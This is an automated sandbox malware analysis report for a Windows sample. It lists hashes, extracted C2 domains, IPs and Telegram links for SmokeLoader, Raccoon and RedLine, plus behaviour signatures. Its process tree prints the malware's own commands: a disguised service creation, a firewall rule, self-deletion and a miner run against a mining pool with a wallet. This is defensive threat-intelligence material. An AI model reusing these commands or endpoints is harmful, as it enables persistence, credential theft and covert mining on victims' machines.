Overview

overview

10

Static

static

17a8a69266...f0.exe

windows7_x64

10

17a8a69266...f0.exe

windows10_x64

10

Analysis

  • max time kernel
    156s
  • max time network
    158s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    27-09-2021 06:17

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General

  • Target

    17a8a69266ee142b86606635dd611cf0.exe

  • Size

    135KB

  • MD5

    17a8a69266ee142b86606635dd611cf0

  • SHA1

    0771fc760511f955679e5fde06276015521e617b

  • SHA256

    276380342eb4faec0de17976d00cd908666e6b2b74343fdcb984d6f2194099d6

  • SHA512

    493a91ea7987c612ed8bd3177f5f130eaa4753cd7fbf63b9fc3180f9928cf1fe7630c8e7db2ebec30ef16d4808c0b3b82493d1c5e3281d34fbad9620ee061f36

Score
10/10
arkeichinese_generic_botnetraccoonredlinesmokeloadertofseexmrig5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4a72c96f6762e4258a13dee8bc0dd14557df18467b2f2e53f9e27f901d453d8f6fbafe1b4d5266bb7blisskarmabackdoorbotnetdiscoveryevasioninfostealerminerpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/
rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

a72c96f6762e4258a13dee8bc0dd14557df18467

Attributes
  • url4cnc

    https://t.me/h_wacel1new_1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

b2f2e53f9e27f901d453d8f6fbafe1b4d5266bb7

Attributes
  • url4cnc

    https://t.me/hcdrom1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

karma

C2

94.103.9.133:39323

Extracted

Family

redline

Botnet

Bliss

C2

185.237.98.178:62607

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

    stealerarkei
  • Generic Chinese Botnet

    A botnet originating from China which is currently unnamed publicly.

    botnetchinese_generic_botnet
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 4 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Arkei Stealer Payload 1 IoCs
    stealer
  • Chinese Botnet Payload 1 IoCs
    botnet
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 22 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 60 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\17a8a69266ee142b86606635dd611cf0.exe
    "C:\Users\Admin\AppData\Local\Temp\17a8a69266ee142b86606635dd611cf0.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1948
    • C:\Users\Admin\AppData\Local\Temp\17a8a69266ee142b86606635dd611cf0.exe
      "C:\Users\Admin\AppData\Local\Temp\17a8a69266ee142b86606635dd611cf0.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1816
  • C:\Users\Admin\AppData\Local\Temp\56C.exe
    C:\Users\Admin\AppData\Local\Temp\56C.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:516
    • C:\Users\Admin\AppData\Local\Temp\56C.exe
      C:\Users\Admin\AppData\Local\Temp\56C.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1372
  • C:\Users\Admin\AppData\Local\Temp\C5F.exe
    C:\Users\Admin\AppData\Local\Temp\C5F.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:460
  • C:\Users\Admin\AppData\Local\Temp\1C48.exe
    C:\Users\Admin\AppData\Local\Temp\1C48.exe
    1⤵
    • Executes dropped EXE
    PID:1704
  • C:\Users\Admin\AppData\Local\Temp\27BE.exe
    C:\Users\Admin\AppData\Local\Temp\27BE.exe
    1⤵
    • Executes dropped EXE
    PID:1756
  • C:\Users\Admin\AppData\Local\Temp\2EB1.exe
    C:\Users\Admin\AppData\Local\Temp\2EB1.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:292
  • C:\Users\Admin\AppData\Local\Temp\32F6.exe
    C:\Users\Admin\AppData\Local\Temp\32F6.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:1644
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\32F6.exe" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:792
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 5
        3⤵
        • Delays execution with timeout.exe
        PID:2012
  • C:\Users\Admin\AppData\Local\Temp\3680.exe
    C:\Users\Admin\AppData\Local\Temp\3680.exe
    1⤵
    • Executes dropped EXE
    PID:1804
    • C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe
      "C:\Users\Admin\AppData\Local\Temp\SindonsWelfare_2021-09-26_15-02.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1016
    • C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe
      "C:\Users\Admin\AppData\Local\Temp\SolanumsYoghurt_2021-09-26_14-52.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1820
    • C:\Users\Admin\AppData\Local\Temp\fbf.exe
      "C:\Users\Admin\AppData\Local\Temp\fbf.exe"
      2⤵
      • Executes dropped EXE
      • Enumerates connected drives
      • Drops file in Program Files directory
      • Checks processor information in registry
      • Suspicious use of SetWindowsHookEx
      PID:1708
  • C:\Users\Admin\AppData\Local\Temp\3B42.exe
    C:\Users\Admin\AppData\Local\Temp\3B42.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2008
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hjgncetb\
      2⤵
        PID:872
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\uscaaqzp.exe" C:\Windows\SysWOW64\hjgncetb\
        2⤵
          PID:1652
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hjgncetb binPath= "C:\Windows\SysWOW64\hjgncetb\uscaaqzp.exe /d\"C:\Users\Admin\AppData\Local\Temp\3B42.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1708
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description hjgncetb "wifi internet conection"
            2⤵
              PID:1048
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start hjgncetb
              2⤵
                PID:872
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1828
              • C:\Users\Admin\AppData\Local\Temp\4042.exe
                C:\Users\Admin\AppData\Local\Temp\4042.exe
                1⤵
                • Executes dropped EXE
                PID:1968
              • C:\Users\Admin\AppData\Local\Temp\4DAB.exe
                C:\Users\Admin\AppData\Local\Temp\4DAB.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                PID:1000
                • C:\Users\Admin\AppData\Local\Temp\4DAB.exe
                  "C:\Users\Admin\AppData\Local\Temp\4DAB.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:1968
                • C:\Users\Admin\AppData\Local\Temp\4DAB.exe
                  "C:\Users\Admin\AppData\Local\Temp\4DAB.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:668
                • C:\Users\Admin\AppData\Local\Temp\4DAB.exe
                  "C:\Users\Admin\AppData\Local\Temp\4DAB.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:2020
                • C:\Users\Admin\AppData\Local\Temp\4DAB.exe
                  "C:\Users\Admin\AppData\Local\Temp\4DAB.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:268
                • C:\Users\Admin\AppData\Local\Temp\4DAB.exe
                  "C:\Users\Admin\AppData\Local\Temp\4DAB.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:1564
              • C:\Windows\SysWOW64\hjgncetb\uscaaqzp.exe
                C:\Windows\SysWOW64\hjgncetb\uscaaqzp.exe /d"C:\Users\Admin\AppData\Local\Temp\3B42.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1696
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:572
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:516
              • C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe
                "C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe"
                1⤵
                • Executes dropped EXE
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious use of SetWindowsHookEx
                PID:2228
                • C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe
                  "C:\Program Files (x86)\Microsoft Ouigga\Uuuocai.exe" Win7
                  2⤵
                  • Executes dropped EXE
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious use of SetWindowsHookEx
                  PID:2408

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/292-101-0x0000000000310000-0x0000000000311000-memory.dmp

                Filesize

                4KB

                Download

              • memory/292-105-0x00000000054B0000-0x00000000054B1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/460-80-0x0000000001010000-0x0000000001011000-memory.dmp

                Filesize

                4KB

                Download

              • memory/460-85-0x0000000004FC0000-0x0000000004FC1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/516-192-0x0000000000080000-0x0000000000171000-memory.dmp

                Filesize

                964KB

                Download

              • memory/572-159-0x0000000000080000-0x0000000000095000-memory.dmp

                Filesize

                84KB

                Download

              • memory/1000-153-0x0000000000AF0000-0x0000000000AF1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1000-139-0x0000000000390000-0x0000000000391000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1000-141-0x0000000000350000-0x000000000036D000-memory.dmp

                Filesize

                116KB

                Download

              • memory/1016-173-0x00000000047B2000-0x00000000047B3000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1016-176-0x0000000001F80000-0x0000000001F9E000-memory.dmp

                Filesize

                120KB

                Download

              • memory/1016-169-0x0000000001F10000-0x0000000001F2F000-memory.dmp

                Filesize

                124KB

                Download

              • memory/1016-170-0x0000000000230000-0x0000000000260000-memory.dmp

                Filesize

                192KB

                Download

              • memory/1016-171-0x0000000000400000-0x00000000004C5000-memory.dmp

                Filesize

                788KB

                Download

              • memory/1016-172-0x00000000047B1000-0x00000000047B2000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1016-181-0x00000000047B3000-0x00000000047B4000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1016-186-0x00000000047B4000-0x00000000047B6000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1208-76-0x0000000003E30000-0x0000000003E40000-memory.dmp

                Filesize

                64KB

                Download

              • memory/1208-82-0x0000000003EA0000-0x0000000003EB6000-memory.dmp

                Filesize

                88KB

                Download

              • memory/1208-201-0x000007FED1260000-0x000007FED126A000-memory.dmp

                Filesize

                40KB

                Download

              • memory/1208-200-0x000007FEF5360000-0x000007FEF54A3000-memory.dmp

                Filesize

                1.3MB

                Download

              • memory/1208-64-0x0000000002D20000-0x0000000002D36000-memory.dmp

                Filesize

                88KB

                Download

              • memory/1644-112-0x0000000000270000-0x000000000029D000-memory.dmp

                Filesize

                180KB

                Download

              • memory/1644-113-0x0000000000400000-0x000000000044D000-memory.dmp

                Filesize

                308KB

                Download

              • memory/1696-162-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

                Download

              • memory/1704-84-0x0000000000220000-0x00000000002B0000-memory.dmp

                Filesize

                576KB

                Download

              • memory/1704-95-0x0000000000400000-0x00000000004F1000-memory.dmp

                Filesize

                964KB

                Download

              • memory/1708-187-0x0000000000330000-0x00000000003EC000-memory.dmp

                Filesize

                752KB

                Download

              • memory/1708-188-0x0000000000400000-0x00000000004C4000-memory.dmp

                Filesize

                784KB

                Download

              • memory/1708-190-0x0000000010000000-0x0000000010018000-memory.dmp

                Filesize

                96KB

                Download

              • memory/1756-94-0x0000000000190000-0x0000000000191000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1756-96-0x0000000000960000-0x00000000010F3000-memory.dmp

                Filesize

                7.6MB

                Download

              • memory/1756-93-0x0000000000180000-0x0000000000181000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1756-92-0x0000000000160000-0x0000000000161000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1756-89-0x0000000000130000-0x0000000000131000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1756-91-0x0000000000150000-0x0000000000151000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1756-90-0x0000000000140000-0x0000000000141000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1804-110-0x0000000000970000-0x0000000000971000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1816-60-0x0000000000400000-0x0000000000409000-memory.dmp

                Filesize

                36KB

                Download

              • memory/1816-62-0x0000000075511000-0x0000000075513000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1820-179-0x00000000001C0000-0x00000000001F7000-memory.dmp

                Filesize

                220KB

                Download

              • memory/1820-180-0x0000000000400000-0x00000000004CB000-memory.dmp

                Filesize

                812KB

                Download

              • memory/1820-174-0x0000000001E50000-0x0000000001E73000-memory.dmp

                Filesize

                140KB

                Download

              • memory/1820-182-0x0000000004B21000-0x0000000004B22000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1820-183-0x0000000004B22000-0x0000000004B23000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1820-184-0x0000000004B23000-0x0000000004B24000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1820-185-0x0000000004B24000-0x0000000004B26000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1820-175-0x00000000020E0000-0x0000000002102000-memory.dmp

                Filesize

                136KB

                Download

              • memory/1948-63-0x00000000003B0000-0x00000000003B9000-memory.dmp

                Filesize

                36KB

                Download

              • memory/1968-133-0x0000000000400000-0x00000000004F0000-memory.dmp

                Filesize

                960KB

                Download

              • memory/1968-132-0x0000000000270000-0x0000000000300000-memory.dmp

                Filesize

                576KB

                Download

              • memory/2008-125-0x0000000000220000-0x0000000000233000-memory.dmp

                Filesize

                76KB

                Download

              • memory/2008-126-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

                Download